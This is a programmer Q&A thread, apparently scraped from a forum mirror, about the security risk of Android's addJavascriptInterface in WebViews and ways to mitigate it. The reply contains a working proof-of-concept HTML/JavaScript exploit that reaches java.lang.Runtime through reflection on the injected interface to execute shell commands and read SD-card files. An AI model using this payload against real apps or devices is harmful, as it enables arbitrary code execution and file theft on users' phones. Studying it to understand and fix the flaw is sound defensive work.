Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
125 views
in Technique[技术] by (71.8m points)

javascript - Android JavascriptInterface Security?

From the documentation: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"Using addJavascriptInterface() allows JavaScript to control your application. This can be a very useful feature or a dangerous security issue. When the HTML in the WebView is untrustworthy (for example, part or all of the HTML is provided by some person or process), then an attacker could inject HTML that will execute your code and possibly any code of the attacker's choosing. Do not use addJavascriptInterface() unless all of the HTML in this WebView was written by you. The Java object that is bound runs in another thread and not in the thread that it was constructed in.

Suppose I have an interface that only shows a custom dialog box, or starts a download to sd card. Would this be unsafe to use for any url? How could an attack page use the interface to run any code of the attacker's choosing?

Update: According to the documentation:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.

Is there an example of how this could happen? It this just saying that DOWNLOADINTERFACE.dangerousfunction could be called if that's a public method on that class?

Update:

I tested based on the example of the exploit below, sites can get access to the system through interfaces in Android 4.4, 4.1, and 3.2.

However, I was not seeing this bug on Android 2.2, or 2.3, the hack only causes a force-close. What is the best way to prevent this hack, other than not using JSInterface? Can I include bogus functions like this, to prevent unauthorized calling of functions?

public Object getClass() {
  //throw error, return self, or something?  
}

Or rewrite everything using ajax and intercepting calls? Would that result in better/worse performance?

Update:

I succeeded in removing the JS interface, and replaced the functionality by defining window.open(specialurl) commands for all the window.(interface) functions, and overriding those in the shouldOverrideUrlLoading. Strangely enough, window.open() must be used in some cases, or the webview breaks display (like javascript is stopping?), and in other cases location.replace should be used or it will just show a "interface://specialdata" could not be found message.

(I set settings.setJavaScriptCanOpenWindowsAutomatically(true) so window.open works from JS all the time.)

Anyone know the best way to rewrite an app with this behavior?

See Question&Answers more detail:os

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)

an example access sdcard files from javascript:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...